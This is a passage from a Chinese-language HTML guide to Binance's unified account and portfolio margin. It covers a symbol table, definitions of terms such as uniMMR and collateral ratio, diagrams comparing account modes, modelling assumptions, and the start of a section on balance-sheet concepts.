class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>第i笔交易的价格</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>仓位价值（Position Value）</td><td>USD/USDT</td></tr><tr><td><strong>资产与折算相关符号</strong></td><td></td><td></td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span></td><td>折算率（Collateral Ratio）</td><td>%</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight" style="margin-right:0.10764em;">ff</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>有效折算率（Effective Collateral Ratio）</td><td>%</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ba</span><span class="mord mathnormal mtight">se</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>基础折算率（Base Collateral Ratio）</td><td>%</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>折算率（抵押场景）</td><td>%</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>数量衰减系数（Quantity Decay Coefficient）</td><td>无量纲</td></tr><tr><td><strong>债务与借贷相关符号</strong></td><td></td><td></td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>借贷负债金额（Debt Amount）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>第i种资产的借贷金额</td><td>对应币种</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>虚拟借贷上限</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>实际借贷上限</td><td>对应币种</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">imi</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>系统借贷上限</td><td>对应币种</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">rre</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>当前借贷金额</td><td>对应币种</td></tr><tr><td><strong>数量与仓位相关符号</strong></td><td></td><td></td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span></td><td>仓位数量（Position Quantity）</td><td>对应币种</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>第i笔交易的数量</td><td>对应币种</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>持仓合约数量</td><td>张/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span></td><td>杠杆倍数（Leverage）</td><td>倍</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">na</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>名义价值（Notional Value）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>合约面值（Contract Face Value）</td><td>USD/BTC等</td></tr><tr><td><strong>其他核心符号</strong></td><td></td><td></td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>统一维持保证金比率（uniMMR）</td><td>%</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>开仓亏损（Opening Loss）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></td><td>累积调整值（Cumulative Adjustment）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>虚拟可用余额（Virtual Available Balance）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>最大提现金额（Maximum Withdrawal Amount）</td><td>对应币种</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal">n</span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">re</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">ze</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>未实现盈亏（Unrealized Profit and Loss）</td><td>USD/USDT</td></tr></tbody></table><h3 id="1-2-核心术语定义">1.2 核心术语定义</h3><p><strong>术语使用规范说明：</strong><br>为确保文档的专业性和一致性，本指南严格遵循以下术语使用规范：</p><p><strong>表 1.2：核心术语标准化定义表</strong></p><table><thead><tr><th>术语</th><th>英文</th><th>标准定义</th><th>使用说明</th></tr></thead><tbody><tr><td><strong>统一账户</strong></td><td>Unified Account</td><td>整合现货、合约、杠杆账户的高级交易模式</td><td>始终使用&quot;统一账户&quot;，避免&quot;一体化账户&quot;等变体</td></tr><tr><td><strong>组合保证金</strong></td><td>Portfolio Margin</td><td>多资产、多账户统一保证金计算模式</td><td>专指币安的组合保证金机制，不与传统保证金混用</td></tr><tr><td><strong>统一维持保证金比率</strong></td><td>uniMMR</td><td>衡量账户整体风险的核心指标</td><td>缩写&quot;uniMMR&quot;与全称可互用，但优先使用缩写</td></tr><tr><td><strong>调整后权益</strong></td><td>Adjusted Equity</td><td>扣除各种调整因子后的净权益</td><td>与&quot;净权益&quot;区分，强调经过风险调整</td></tr><tr><td><strong>折算率</strong></td><td>Collateral Ratio</td><td>资产作为保证金时的有效比例</td><td>避免使用&quot;折扣率&quot;或&quot;抵押率&quot;等近似术语</td></tr><tr><td><strong>开仓亏损</strong></td><td>Opening Loss</td><td>跨资产交易时的折算率差异损失</td><td>币安特有概念，不与普通交易亏损混淆</td></tr><tr><td><strong>资产指数价格</strong></td><td>Asset Index Price</td><td>用于统一计价的资产基准价格</td><td>区别于&quot;标记价格&quot;和&quot;最新价格&quot;</td></tr><tr><td><strong>累积调整值</strong></td><td>Cumulative Adjustment</td><td>阶梯式保证金制度的优惠减免值</td><td>反映保证金优惠机制的技术术语</td></tr><tr><td><strong>虚拟可用余额</strong></td><td>Virtual Available Balance</td><td>扣除必要保证金后的理论可用资金</td><td>强调&quot;虚拟&quot;性质，与实际可提现资金区分</td></tr><tr><td><strong>维持保证金</strong></td><td>Maintenance Margin</td><td>维持仓位的最低保证金要求</td><td>全文统一使用&quot;维持保证金&quot;，不使用&quot;维保&quot;简称</td></tr><tr><td><strong>初始保证金</strong></td><td>Initial Margin</td><td>开仓时需要提供的保证金</td><td>与&quot;维持保证金&quot;严格区分使用场景</td></tr></tbody></table><p><strong>重要术语使用注意事项：</strong></p><p>⚠️ <strong>避免混用的术语对：</strong></p><ul><li>“折算率” vs “折扣率”：本文统一使用&quot;折算率&quot;</li><li>“维持保证金” vs “维保”：本文不使用简称&quot;维保&quot;</li><li>“统一账户” vs “一体化账户”：本文统一使用&quot;统一账户&quot;</li><li>“组合保证金” vs “投资组合保证金”：本文使用币安官方术语&quot;组合保证金&quot;</li></ul><p>💡 <strong>术语层次关系：</strong></p><ul><li><strong>统一账户</strong> &gt; <strong>组合保证金</strong> &gt; <strong>uniMMR</strong>：概念包含关系</li><li><strong>调整后权益</strong> = <strong>权益</strong> × <strong>各类调整因子</strong>：计算关系</li><li><strong>开仓亏损</strong> ⊂ <strong>调整后权益计算</strong>：从属关系</li></ul><h2 id="2-概述">2. 概述</h2><p>本章节介绍币安统一账户的基本概念、核心优势以及与传统交易模式的区别。统一账户是交易平台技术发展的重要里程碑。它整合多种交易类型，优化资金利用效率，为交易者提供更强大的风险管理和盈利工具。本章将为读者建立统一账户的整体认知框架。</p><p>币安统一账户模式是币安提供的进阶交易模式，专为经验丰富的交易者设计，整合了合约交易、保证金交易和杠杆交易，可在多种交易商品中寻求更高的杠杆与弹性。采用独特保证金计算与风险管理方法，为交易者整体风险敞口提供更全面的评估。</p><p>如<strong>图 2.1</strong> 所示，统一账户模式与传统模式的核心区别体现在其整合性和效率优势上：</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;Binance Trading Ecosystem&quot;        A[&quot;Traditional Mode&quot;]        B[&quot;Unified Account Mode&quot;]        subgraph &quot;Traditional Accounts&quot;            C[&quot;Spot Account&quot;]            D[&quot;Futures Account&quot;]            E[&quot;Margin Account&quot;]        end        subgraph &quot;Unified Account Benefits&quot;            F[&quot;Cross-Asset Collateral&quot;]            G[&quot;Portfolio Margin&quot;]            H[&quot;Enhanced Capital Efficiency&quot;]            I[&quot;Unified Risk Management&quot;]        end        A --&gt; C        A --&gt; D        A --&gt; E        B --&gt; F        B --&gt; G        B --&gt; H        B --&gt; I        F --&gt; J[&quot;Higher Leverage&quot;]        G --&gt; K[&quot;Lower Margin Requirements&quot;]        H --&gt; L[&quot;Better Fund Utilization&quot;]        I --&gt; M[&quot;Comprehensive Risk Control&quot;]    end</code></pre><p><strong>图 2.1：币安交易生态系统对比图</strong></p><p>从图 2.1 可以看出，统一账户模式通过整合传统的分离账户架构，实现了四个核心优势：跨资产抵押、组合保证金、资金利用效率提升和统一风险管理。这种设计使得交易者能够在单一账户体系下获得更高的杠杆倍数、更低的保证金要求和更好的资金利用效率。</p><p>本指南涵盖：</p><ul><li><strong>统一账户模式</strong>：整合多种账户类型的高级交易模式</li><li><strong>保证金交易</strong>：利用杠杆放大交易头寸的交易方式</li><li><strong>风险管理</strong>：完整的风险控制与强制平仓机制</li><li><strong>数学计算</strong>：使用LaTeX公式详细说明各项计算方法</li></ul><h3 id="2-1-核心假设与适用范围">2.1 核心假设与适用范围</h3><h4 id="2-1-1-基础假设">2.1.1 基础假设</h4><p>本指南的分析基于以下核心假设，读者应充分理解这些假设的合理性及其对结论的影响：</p><p><strong>市场条件假设：</strong></p><ul><li><strong>流动性充足假设</strong>：假设所有涉及的交易品种在正常市场条件下具有充足的流动性，能够以接近标记价格的价格快速成交</li><li><strong>价格发现效率假设</strong>：假设市场价格能够及时、准确地反映资产的内在价值和市场供需关系</li><li><strong>系统稳定性假设</strong>：假设交易系统在正常运行状态下，不存在技术故障或外部攻击导致的系统性风险</li></ul><p><strong>用户行为假设：</strong></p><ul><li><strong>理性交易者假设</strong>：假设用户具备基本的金融知识，能够理解杠杆交易的风险，并做出相对理性的交易决策</li><li><strong>风险承受能力假设</strong>：假设用户具有与其交易规模相匹配的风险承受能力和资金实力</li><li><strong>合规操作假设</strong>：假设用户遵守平台的交易规则和风险管理要求</li></ul><p><strong>技术实现假设：</strong></p><ul><li><strong>计算精度假设</strong>：假设所有数值计算的精度误差在可接受范围内，不会对风险管理造成实质性影响</li><li><strong>实时性假设</strong>：假设价格更新、保证金计算等关键操作能够在毫秒级时间内完成</li><li><strong>数据完整性假设</strong>：假设所有用于计算的市场数据和用户数据都是准确、完整、实时的</li></ul><h4 id="2-1-2-假设的合理性分析">2.1.2 假设的合理性分析</h4><p><strong>流动性假设的合理性：</strong><br>币安作为全球领先的加密货币交易平台，其主要交易对（如BTC/USDT、ETH/USDT等）通常具有深度充足的订单簿。但在极端市场条件下（如黑天鹅事件），流动性可能急剧下降，此时统一账户的保护机制可能面临挑战。</p><p><strong>理性交易者假设的局限性：</strong><br>现实中，交易者的决策往往受到情绪、认知偏差等非理性因素影响。平台需要通过风险教育、强制平仓等机制来弥补这一假设的不足。</p><p><strong>技术实现假设的风险评估：</strong><br>虽然现代交易系统技术相对成熟，但仍存在极小概率的技术故障风险。平台通常通过冗余系统、备份机制等措施来降低这类风险。</p><h4 id="2-1-3-假设失效的影响分析">2.1.3 假设失效的影响分析</h4><p><strong>当流动性假设失效时：</strong></p><ul><li>强制平仓可能无法以预期价格执行，导致实际损失超过维持保证金要求</li><li>资产折算率可能需要动态调整以反映真实的变现能力</li><li>系统可能需要暂停特定资产的新开仓操作</li></ul><p><strong>当理性交易者假设失效时：</strong></p><ul><li>需要更严格的风险控制措施，如降低杠杆倍数上限</li><li>可能需要实施更频繁的风险评估和强制平仓</li><li>平台需要加强投资者教育和风险提示</li></ul><p><strong>当技术假设失效时：</strong></p><ul><li>可能出现计算错误或延迟，影响风险管理的有效性</li><li>需要启动应急预案，可能包括暂停交易或采用保守的风险参数</li></ul><h4 id="2-1-4-适用范围说明">2.1.4 适用范围说明</h4><p>本指南适用于：</p><ul><li>具备基础金融知识的专业或半专业交易者</li><li>正常市场条件下的币安统一账户操作</li><li>主流加密货币交易对的保证金交易</li></ul><p>本指南不适用于：</p><ul><li>极端市场条件下的风险管理（如市场崩盘、技术故障等）</li><li>小众或新上线代币的杠杆交易</li><li>监管环境发生重大变化时的操作指导</li></ul><h2 id="3-基础财务概念：理解资产、负债与权益">3. 基础财务概念：理解资产、负债与权益</h2><p>本章节从传统财务学的基本概念入手，建立理解统一账户机制的理论基础。通过深入分析资产负债表结构、债务机制和权益计算方法，读者将掌握统一账户风险管理的核心原理。这些概念不仅是统一账户的基础，也是所有现代金融交易系统的理论支撑。</p><p>在深入了解统一账户之前，我们需要先从最基础的财务概念说起。这些概念不仅是理解统一账户的基础，也是所有投资交易的核心。</p><h3 id="3-1-资产负债表：交易账户的财务结构">3.1 资产负债表：交易账户的财务结构</h3><p>每个交易账户本质上都是一个简化的资产负债表：</p><p><strong>资产负债表基本结构：</strong></p><table><thead><tr><th>资产</th><th>负债 + 权益</th></tr></thead><tbody><tr><td>• 现金/USDT</td><td>• 借款债务</td></tr><tr><td>• 数字货币</td><td>• 利息负债</td></tr><tr><td>• 合约仓位价值</td><td>• 权益（净资产）</td></tr><tr><td>• 未实现盈利</td><td></td></tr></tbody></table><p><strong>基本等式：</strong></p><ul><li><strong>资产 = 负债 + 权益</strong></li><li><strong>权益 = 资产 - 负债</strong></li></ul><pre><code class="highlight mermaid">graph TB    subgraph &quot;交易账户资产负债表结构&quot;        subgraph &quot;资产 Assets&quot;            A1[&quot;现金/USDT&lt;br/&gt;💰 流动资金&quot;]            A2[&quot;数字货币&lt;br/&gt;🪙 BTC/ETH等&quot;]            A3[&quot;合约仓位价值&lt;br/&gt;📊 期货/永续&quot;]            A4[&quot;未实现盈利&lt;br/&gt;📈 浮盈&quot;]        end        subgraph &quot;负债 Liabilities&quot;            L1[&quot;借款债务&lt;br/&gt;💳 本金&quot;]            L2[&quot;利息负债&lt;br/&gt;📈 累积利息&quot;]            L3[&quot;未实现亏损&lt;br/&gt;📉 浮亏&quot;]        end        subgraph &quot;权益 Equity&quot;            E1[&quot;净权益&lt;br/&gt;💎 真实拥有&quot;]            E2[&quot;可用保证金&lt;br/&gt;🔓 可提取&quot;]            E3[&quot;已用保证金&lt;br/&gt;🔒 已占用&quot;]        end    end    A1 --&gt; E1    A2 --&gt; E1    A3 --&gt; E1    A4 --&gt; E1    L1 --&gt; E1    L2 --&gt; E1    L3 --&gt; E1    E1 --&gt; E2    E1 --&gt; E3    style A1 fill:#e1f5fe    style A2 fill:#e1f5fe    style A3 fill:#e1f5fe    style A4 fill:#e8f5e8    style L1 fill:#ffebee    style L2 fill:#ffebee    style L3 fill:#ffebee    style E1 fill:#f3e5f5    style E2 fill:#e8f5e8    style E3 fill:#fff3e0</code></pre><p><strong>图 3.1：交易账户资产负债表结构图</strong></p><p>如图 3.1 所示，交易账户的财务结构遵循经典的资产负债表原理，其中资产包括流动资金、数字货币、合约仓位价值和未实现盈利，负债包括借贷债务、利息费用和未实现亏损，两者的差额构成账户权益。这种结构为统一账户的组合保证金计算提供了基础框架。</p><h3 id="3-2-债务的本质与作用">3.2 